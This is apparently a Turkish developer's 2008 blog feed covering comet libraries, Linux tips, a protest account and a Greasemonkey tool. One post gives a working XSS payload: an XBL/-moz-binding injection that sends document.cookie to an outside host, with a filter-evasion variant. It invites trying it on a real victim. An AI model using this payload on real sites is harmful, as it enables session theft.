Azer Koçulu (BLOG) Blog http://azer.r92.org en-us Bir aya ne sigabilir? http://azer.r92.org/2008/aug/20/bir-aya-ne-sigabilir/
Yine tam o gunlerde Riatalks'a katilip uyuklayan insanlara comet,html5,javascript 2 vb. sacmasapan seyler anlatmaya calistim :) Cloudo'nun gelistiricilerinden Selim de yanimdaydi.Ayni gun Gittigidiyor'un IT takimiyla nevizadede bir yere gittik, dansozler, sarkicilar, canli muzik, cikip oynayip oturan insanlar :)

RIATalks'ta sunum yapanlardan biri de takasmerkeziydi.Ertesi hafta bir yerde linklerine rastlayip girdim sitelerine ve bir urun eklerken tesadufen aciklarina rastladim. Cogu seyi .Net builder'a yaptirdiklari icin bircok acik var sitelerinde, script include yapilabiliyor. Yonetici haklarini kolayca ele gecirebilecekken, ben sadece "naber onder" yazip biraktim ve bundan bir suru olay patlak verdi.Adamlarin aciktan haberdar olmasini saglayacak ufak bir mesaj birakmisken beni evlerine giren hirsizla bir tuttular.Guya sitenin sahibi sabahlara kadar uyuyamamis, server'i kapatmislar, vs.Ben ssh tunnel'le ABD'den ciktigim icin proxy kullandigimi sanmislar, yani baska ip'lerden gelen flood gibi saldirilari da benim yaptigimi dusunmusler.Ve kendilerini oyle kaptirdilar ki, beni dusmanlari olarak gorup kariyerimin bitirilmesi icin, olayi cesitli sitelerde duyurup, istahla tartistilar.Isten kovduramadilar ama, direkten dondum :)

Son olay hic alisik olmadigim turden bir zirvalik oldugu icin ustumdeki etkisini hala atamadim.Pi filminde anlatildigi gibi, hayatin akisi spirale benziyor. Inis, cikis, tam ayaga kalkarken dusup, tekrar yeri opus :)

Biraz gec te olsa gidip tatil yapicam. Kendisine hurmetimi hic esirgemedigim tabiat ana bana bir kiyak yapmak isterse ruzgarini firtinasini kaputas'tan uzak tutar :) Buna cok sevinirim.

]]>
August 20, 2008
What's up? My desktop's up :) http://azer.r92.org/2008/jul/21/whats-my-desktops/
Bu donusler esnasinda hic KDE denememistim ve icimdeki "acaba ne kaciriyorum?" kuskusuyla gecenlerde gnome yuklu ubuntu'ma kde 3 kurdum.Gercekten bi cok sey kacirmisim.Kate harika bir editor, ekran Vi'deki gibi bolunebiliyor ve session yoneticisi var, konsolu da var.Ekran goruntusu;

Kubuntu'da default dosya yoneticisi olarak Dolphin geliyor ama Konqueror'u begendim.Tab destegi, kate gibi session yoneticisi, ekrani split edebilmesi, PDF ve resim formatlarini okuyabilmesi.. Ayrica KHTML render engine ile web sayfalarini yorumlayabilmesi.. Tum bunlari yapan bir uygulamanin siskin, hantal oldugu dusunulebilir.Ama oldukca lightweight bir uygulama, cok hizli calisiyor. Denemeyenlere KDE'yi denemeyi oneririm.

]]>
July 21, 2008
cloudo http://azer.r92.org/2008/jul/11/cloudo/ Webrazzi'de g.ho.st adli bir Adobe Flash uygulamasindan soz ediliyor.Yazida g.ho.st un rakiplerinden onde ve en iddiali oldugu yaziyor ama bu dogru degil, g.ho.st piyasadaki en vasat dde uygulamasidir.

Aslinda kisisel sitemdeki kucuk logbook'ta yazmistim ama konu acilmisken Cloudo'dan bahsetmeye karar verdim.Cloudo, Xindesk adli dde projesinin isim degistirmis hali, Isvec'te yasayan Hakan Bilgin ve takimi gelistiriyor.

Cloudo adobe flash degil open web uygulamasidir, oldukca hizli calisiyor ve teknik kaynaklar acisindan adobe flash alternatiflerine oranla daha zengin.Sistem icinde uygulama gelistirilebiliyor.Ayrica hazir olarak pek cok uygulama iceriyor, bu konuda da mevcut alternatiflerinden cok daha ileride.

Sistemi dilediginiz gibi ozellestirebiliyorsunuz ve pek cok tema var, OSX, Windows, Linux.. Bir temayi sectiginizde eskisinin yerine yuklenmesi turkiyedeki baglantiyla 10 saniyeden daha kisa suruyor.

Daha fazla incelemek icin, alpha surumune davetiye isteyin. Asagidaki ekran goruntusunu de inceleyebilirsiniz;



]]>
July 11, 2008
One step forward two steps back http://azer.r92.org/2008/jul/10/one-step-forward-two-steps-back/
event-source.html <body> <div id="time"></div> <script> var event = document.createElement("event-source"); event.setAttribute("src","event-source.php"); document.body.appendChild(event); event.addEventListener("azer",function(){ document.getElementById("time").innerHTML += "
"+arguments[0].data; },false); </script> </body>


event-source.php <? header("content-type: application/x-dom-event-stream"); while(true){ print "Event: azer\n"; print "data: ".time()."\n\n"; sleep(3); ob_flush(); flush(); } ?>

]]>
July 10, 2008
Web tabanli Trojan Nasil Yapilir? http://azer.r92.org/2008/may/11/web-tabanli-truva-ati-nasil-yapilir/ moz-binding yontemi.Yaziyi "vuralim, kiralim" uslubuyla yazdim ancak amacim sadece guvenlik onlemleri icin kaynak olusturmak.

Gecen yil Hakan (Bilgin) cloudo icin, bense r(ainbow)92 icin kod renklendirme yapmaya calisiyorduk. Hakan o zamanlar hazirladigi bir ornekte, XBL/-moz-binding teknigini kullanarak uygulamaya CSS kodu icinden XML import ediyor, XML'in icinden de javascript calistiriyordu.Bu bana oldukca ilginc gelmis ve -moz-binding ile tanismami saglamisti.

Eger bu ilginc teknigi, Yahoo UI gelistiricisi Douglas Crockford'un JSON'u kesfetmesini saglayan script include yontemiyle birlestirirseniz (bu yontem hem data transferlerini hem de client'ta istediginiz manyakligi yapmanizi saglar), yapabilecekleriniz hayal gucunuz kadar sinirsizdir. Ornegin maillerine hotmail,gmail vb web uzerinden ulasan bir kullanicinin tum maillerini cekebilir veya habersizce istediginiz maili yazdirtip gondertebilirsiniz.

Her iki yontemin de nasil kullanildigini anlamak icin kullanicilarin cookie'lerini victim list'e kaydetmeyi amacladigimiz kucuk bir ornek yapalim, ornegi denemek icin basit bir uygulama taslagi hazirlayabilirsiniz veya gercek bir kurban secebilirsiniz..

Sectigimiz web uygulamasi kullanicilarin sadece <strong> vb masum gorunen html tag'lerine izin veriyor olsun.Eger bu uygulama attribute'leri kontrol etmiyorsa isimiz kolay, onload vb event'lerle direk javascript calistirabiliriz.Eger kontrol ediyorsa, style attribute'una izin verilip verilmediginden emin olun. WYSIWYG editorlerinden veri bekleyen uygulamalarin hepsinde izin verilir.

Amacimiz style attribute'u icinde -moz-binding kullanarak xbl belgesini cagirmak. Bundan evvel javascript calistiracagimiz XBL belgesini hazirlayip kurbanlarin erisebilecegi bir yere yukleyelim: <?xml version="1.0"?> <bindings xmlns="http://www.mozilla.org/xbl" xmlns:html="http://www.w3.org/1999/xhtml"> <binding id="xss"> <implementation> <constructor> document.body.appendChild(document.createElement("script")).setAttribute("src","http://victim.com/?append="+escape(document.cookie)); </constructor> </implementation> </binding> </bindings> style='color:red; -moz-binding:url("http://victim.com/xbl.xml#xss");' Cok az bir ihtimalle kurbaniniz moz-binding yazilmasini veya cross domain veri cagrilmasini blocklamis olabilir. Bu durumda b planimiz "the-spanner.co.uk" adresinde yayinlanan bir snippet'tan geliyor: /style=\-\mo\z-b\i\nd\in\g:\url(//victim.com\/xbl_log\.xml\#xss) Bundan sonrasi javascript bilginize kalmis. Kullanicinin arayuzunde daha cesitli tuneller acabilir, arayuzu degistirebilir veya kullanici adina islemler yapabilirsiniz.

]]>
May 11, 2008
1 Mayis Catismalarindaki Gozlemlerim http://azer.r92.org/2008/may/01/1-mayis-catisma-yerlerindeki-gozlemlerim/
Gaz bombasından başlıyorum anlatmaya.Böyle namert bir silah sanırım görülmemiştir, zaten savaşlarda kullanılması yasaklanmış, bizim sümüklü vatanseverlerimizse bize karşı kullanıyor. Yaklaşık 10cm yüksekliğinde kalın bir mermi sıkıyorlar tüfekle, amerikan yapımıymış.El bombası şeklinde olanı da varmış ama hiç rastlamadım kullanıldığına.

Taksimin batısındaki dar sokaklardan birinde sıkıştırıldık, ardı ardına üstümüze plastik mermi ve gaz bombası yağdı.İki taş fazla atmak için vakti geldiğinde kaçmayınca gazın etkisiyle kendimi bir anlığına kaybedip yere düştüm, gözlerimi açamıyordum ve yüzüm yanıyordu.Buna rağmen polislerin eline geçme korkusuyla önüme gelen her merdiveni ayakta duramaz halde çıkıp ÖDP ilçe binasına girdim.İçeride mahşer kalabalığı vardı ve kadınlar kepenkleri tam indirmeyin diye çığlık atıyorlardı, çünkü dışarıda kalanlar o canavarların eline geçecekti.Hala nefes alamıyordum ve boğulmak üzere olduğum için kendimi kepengin altından dışarı attım. Yüzümü sorduğum birisi limon verdi, az ilerde gördüğüm kamyonetin arkasına saklanıp nefes almaya ve yanan yüzümü limonla soğutmaya çalıştım.Bu arada kamyonetin önünden elinde tüfekler olan 100 kişilik bir ekip geçti, etrafımızı sarmışlardı adeta.Bana limon veren arkadaşları bombaladılar ve ÖDP binasının olduğu sokağa doğru ilerlediler.Binadaki arkadaşların akıbetini bilmiyorum umarım polis binaya saldırmamıştır.(Siyasi partiler yasasına göre polis parti binasına giremez)

Neticede başarısız olduk.İstanbul dışından gelenler yollarını kaybetti, gözaltına alındılar, ailelerine haber veremiyor olabilirler.

Bu sayfada bu tür şeyleri paylaşmak hiç istemiyordum.Çünkü olanca cehaletine rağmen kendini otorite hissedenlerin bilginlik taslamasına, anasının karnında kibirle beslenmiş insanların bu tür olaylarla ilgili yazı, resim,video görüp yorum yapmasına vesile olmak istemiyorum. Buna rağmen vicdanı olanlar için başımıza gelenleri anlattım, muhtemelen haberlerde bizim provokatör, terörist olduğumuzu söylediler.Emin olun polisten, devletten ve askerden ala terörist, onlardan ala provokatör olmaz!

]]>
May 1, 2008
Appengine, Turbogears vs.. http://azer.r92.org/2008/apr/27/appengine-turbogears-vs/ http://pastebin.com/pastebin.php?dl=f7eb9de98

]]>
April 27, 2008
PI Comet's stable version released http://azer.r92.org/2008/apr/09/pi-comets-stable-version-released/ I'm prepearing a documentation and website for this library).

]]>
April 9, 2008
pi.debugger released http://azer.r92.org/2008/apr/02/pidebugger-released/ here and get more detailed information at pi project's website: http://pi-js.googlecode.com

Here is a screenshot:


]]>
April 2, 2008
Pi.Comet works with Turbogears as well http://azer.r92.org/2008/apr/02/picomet-works-turbogears-well/ CherryPy test, I developed a real time chat example with pi.comet&Turbogears.Actually, I was going to add this example long time ago but I couldn't find any shared hostings available. Data streaming can not be used at Webfaction, because webfaction hosts turbogears with cgi support. If you have no hosting problems, you can use pi.comet and turbogears with your comet applications.For now, you can download and test it on your localhost.

Download Example:turbogears_realtimeChat.tar.gz
Screenshot:


]]>
April 2, 2008
Microsoft IE8'de Gecko motorunu kullanmaya karar verdi! http://azer.r92.org/2008/apr/01/microsoft-ie8de-gecko-motorunu-kullanmaya-karar-ve/
Bu dusunceler arasinda coktandir Microsoft'un humanist bir kararla webkit veya gecko motorunu kullanmaya baslamasini umuyordum ki, bugun rss reader'ima su yazi dustu: Microsoft will use Gecko layout engine in IE 8

Birkac satir okuduktan sonra yuregim pirpir etti resmen :) Ama hatirlarsiniz, bugun o lanet gun 1 nisan :)

]]>
April 1, 2008
"in" Operator in Javascript http://azer.r92.org/2008/mar/23/operator-javascript/ contains the in operator that checks only property names.I can't figure out why Javascript returns the exact opposite of that other programming languages return on this operator. Here is an example: >>> var hello = ["bonjour","hola","saluton","selam"]; >>> "bonjour" in hello false >>> 1 in hello true

Actually, we don't need to the in operator to check values of Array, we can use indexOf property to this action easily; >>> var hello = ["bonjour","hola","saluton","selam"]; >>> hello.indexOf("bonjour")>-1; true >>> hello.indexOf("Hallo")>-1; false

This operator available to checking object properties too but there are many way to check object properties already; >>> var hello = { "french":"bonjour", "esperanto":"saluton", "turkish":"selam" }; >>> "turkish" in hello true >>> "german" in hello false >>> Boolean(hello["turkish"]); true >>> Boolean(hello["german"]); false

The question is, how are object values checked?

]]>
March 23, 2008
gmÇeviri http://azer.r92.org/2008/mar/22/gmceviri/ gmÇeviri, web sayfalarını gezerken fare imleciyle seçilen ingilizce metinleri türkçeye çevirmek için geliştirdiğim greasemonkey betiğidir.Daha fazla bilgi için yazının devamını okuyun.


Ekran Görüntüsü


Nedir?

Greasemonkey, web uygulamalarını isteğimize göre düzenlememizi sağlayan eklentidir. gmÇeviri ise hemencevir.com adresindeki servisi daha pratik kullanabilmek için yazdığım greasemonkey betiğidir.gmÇeviriyi kullanırken bilgisayarınıza birşey kaydetmeniz, yeni pencere açmanız veya o an açık olan web sayfasını yenilemeniz gerekmez.

Ne Gerekli?

Mozilla Firefox kullanmıyorsanız önce bu tarayıcıyı sisteminize kurun, eğer tarayıcınızda Greasemonkey eklentisi yüklü değilse, üstteki linkleri kullanarak birkaç dakikada kurabilirsiniz.

Kurulum

Kuruluma başlamak için üstteki listede yer alan dosyalara tıklayın.Eğer Greasemonkey'i kurduysanız, küçük bir pencere açılacaktır.Bu pencerede işlemi onaylayın ve diğer dosyaya geçin.Her iki dosyayı da kurduysanız artık çeviri yapmaya başlayabilirsiniz.

Kullanım

  • Klavyenizin ctrl tuşunu basılı tutarak, farenizle sayfada boş bir alana tıklayın.
  • Sayfanın altında form açıldıysa, çevirmek istediğiniz yazıyı seçin.
  • Yazı seçtiğinizde, çeviri formundaki kutucuğa aktarılacak.Yeni yazı seçimi yaparken temizle butonuna basıp önce yazı kutucuğunu temizleyin.
  • İsterseniz kutucuğa kopyala/yapıştır yapabilir veya kendiniz de metin yazabilirsiniz.
  • Yazı hazırsa "Çevir" butonuna basın.Hepsi bu!

Nasıl Çalışıyor?

gmÇeviri'in "Çevir" butonuna bastığınızda, program hemencevir.com'a bağlanıp yazınızı gönderiyor ve istediğiniz çeviriyi yapmasını bekliyor.Çeviri yapıldıktan sonra hemencevir.com'dan çevrilen yazıyı alıp yazı kutucuğuna basıyor.

Çalıştıramadıysanız..

  • Hemencevir.com'a girdiğinizde, sayfanın başlığında "greasemonkey version" yazıyor mu? Kurulumu yaptığınızdan emin olun ve tarayıcınızı yeniden başlatın.
  • Zaman aşımı hatası mı aldınız? Yeniden deneyin.Hemencevir.com servisini zaman zaman kapatıyor, böyle zamanlarda www.hemencevir.com adresine girip sistemi kontrol edin
  • Tarayıcınızın önbelleğini temizleyin.Bunu yapmak için Ctrl+Shift+Del tuşlarını kullanabilirsiniz.Ardından sayfayı yenileyin ve tekrar deneyin. Hata devam ediyorsa kritik bir sebebi olmalı, bu durumda lütfen bana ulaşın.
Eğer hata bunlardan biri değilse bu sayfaya comment bırakın.

Teşekkür etmek istiyorsanız..

  • Arkadaşlarınıza bu yazılımdan bahsedebilirsiniz,
  • Eğer varsa web sayfanızda tanıtabilirsiniz,
  • Javascript biliyorsanız geliştirme yapmama yardımcı olabilirsiniz,
  • Bana fikir ve önerilerinizi gönderebilirsiniz..
]]>
March 22, 2008
pi.comet's python module is available http://azer.r92.org/2008/mar/21/pi-comets-python-module-available/ CherryPy example is available too.You can get these files in downloads list.

You can use this module with any python web framework but there are some problems.Firstly, Django doesn't support multi-threading.And there is no shared hosting for CherryPy ( Webfaction runs CherryPy with CGI, sys.stdout.flush function doesn't work on that application ) I hope we have got more comet friendly web frameworks in the future.

]]>
March 21, 2008
VIM Ipuclari http://azer.r92.org/2008/mar/17/vim-ipuclari/ VIM ogrenmek istiyeyenler icin belgeler.org'da ogretici bir yazi var. Bu yazinin icermedigi ama ihtiyac duyacaginiz vim komutlari:

syntax enable: syntax'i renklendirmeyi saglar.
set number: satir numaralarini acar.
set nowrap: wrap ozelligini kapatir, uzun kod satirlarini pencereye sigdirmaya calismaz.
set ai: auto indent.Yeni satira gecildiginde eski satirdaki hizadan baslar.

Her actiginizda otomatik calismasini istediginiz komutlari /home/$kullanici/.vimrc dosyasina yazin.

split dosya adi: pencereyi bolmek icin kullanilir, dikey olarak bolmek istenirse komutun onune vertical yazilir.

tabnew dosya adi: yeni tab acmak icin kullanilir. tab'lar arasinda hareket etmek icin, tabp (geri) ve tabn (ileri) komutlarini kullanin.

Genellikle ihtiyac duygudugum komutlar bunlar.Dilerseniz vi kilavuzunda da belirtildigi gibi, :help komutuyla yeni seyler kesfedebilirsiniz.Ayrica vim.org adresinde bir manual de bulunuyor.

]]>
March 17, 2008
linux terminalinde komut tanimlamak http://azer.r92.org/2008/mar/17/linux-terminalinde-komut-tanimlamak/
Sistemi her yeniden yukleyisinizde `apt-get` programiyla ihtiyaciniz olan yazilimlari tek tek kurmak yerine, tek komutla bu isi halledebiliriz.Adimlari izleyin:
  • herhangi bir editorle /home/$kullanici/.bash_aliases dosyasini acin.
  • Ve istediginiz komutlari alias ile bu dosyada tanimlayin:
    alias installMyPrograms="apt-get install rar unrar unzip cabextract"
  • dosyayi save edin ve yeni bir shell oturumu acin, artik komutunuzu kullanabilirsiniz.

komutlari dosyaya yazmamizin sebebi, kalici olmalarini saglamak.eger kalici olmasina gerek olmayan bir komut tanimlamak isterseniz, dogrudan komut satirinda da alias kullanilabiliyor.

Eger konsol yazdiginiz komutlari dikkate almiyorsa, alias dosyanizi include etmiyor olabilir.Bu problemi cozmek icin /home/$kullanici/.bashrc dosyasini editorunuzle acin ve su satirlarin onundeki comment'leri kaldirin: if [ -f ~/.bash_aliases ]; then . ~/.bash_aliases fi Tekrar yeni bir shell oturumu acarak deneyin, artik calistigini goreceksiniz..

]]>
March 17, 2008
Creating Comet Applications In 3 Minutes http://azer.r92.org/2008/mar/16/creating-comet-applications-3-minutes/ pi library has been released.This version contains a comet class and you can make comet requests in your applications by using it.

Tutorial: Getting unix time from server(Sample File, Source)

Firstly, create an html file and import pi.js: <script type="text/javascript" src="pi.js"></script>

Then, send a request to push.php to get unix time from server: var request = new pi.comet(); request.environment.setUrl("push.php"); request.event.push = function(RESPONSE){ document.title = "UNIX TIME AT SERVER: "+RESPONSE; }; request.send();

Finally, create an infinite loop at push.php, import pi.pushData function to this file and print the data which will be updated each time; require_once "pi.pushData.php"; $type = $_GET["cometType"]; $name = $_GET["cometName"]; while(true){ pushData(time(),$type,$name); ob_flush(); flush(); sleep(1); }

That's all! You can get more information at pi.comet's wiki page.

]]>
March 16, 2008
İleri Seviye Javascript http://azer.r92.org/2008/mar/16/ileri-seviye-javascript/
  • Fonksiyonlar
  • Diziler
  • Objeler
  • İleri Seviye OOP
  • Download: ileri_seviye_javascript.pdf

    ]]>
    March 16, 2008
    PyWeblog: Simple&Useful Weblog Application http://azer.r92.org/2008/mar/13/pyweblog/ PyWeblog is a Django based open source blog application has written by me.

    Features:

    • Template support (Django contains an advanced template language)
    • Django administration interface
    • Tagging
    • Commenting
    • Picture Uploading

    Releases:

    Installing

    • Download latest version and extract anywhere.
    • Create a MySQL database to use for this application
    • Open settings.py to editing and set DATABASE_NAME,DATABASE_USER AND DATABASE_PASSWORD variables
    • Open terminal in where you extracted the files, and type: >>> python manage.py validate
    • If manage.py counted zero errors, type this: >>> python.manage.py syncdb
    • That's all :)

    Requirements:



    ]]>
    March 13, 2008
    Test http://azer.r92.org/2008/mar/13/test/
    ]]>
    March 13, 2008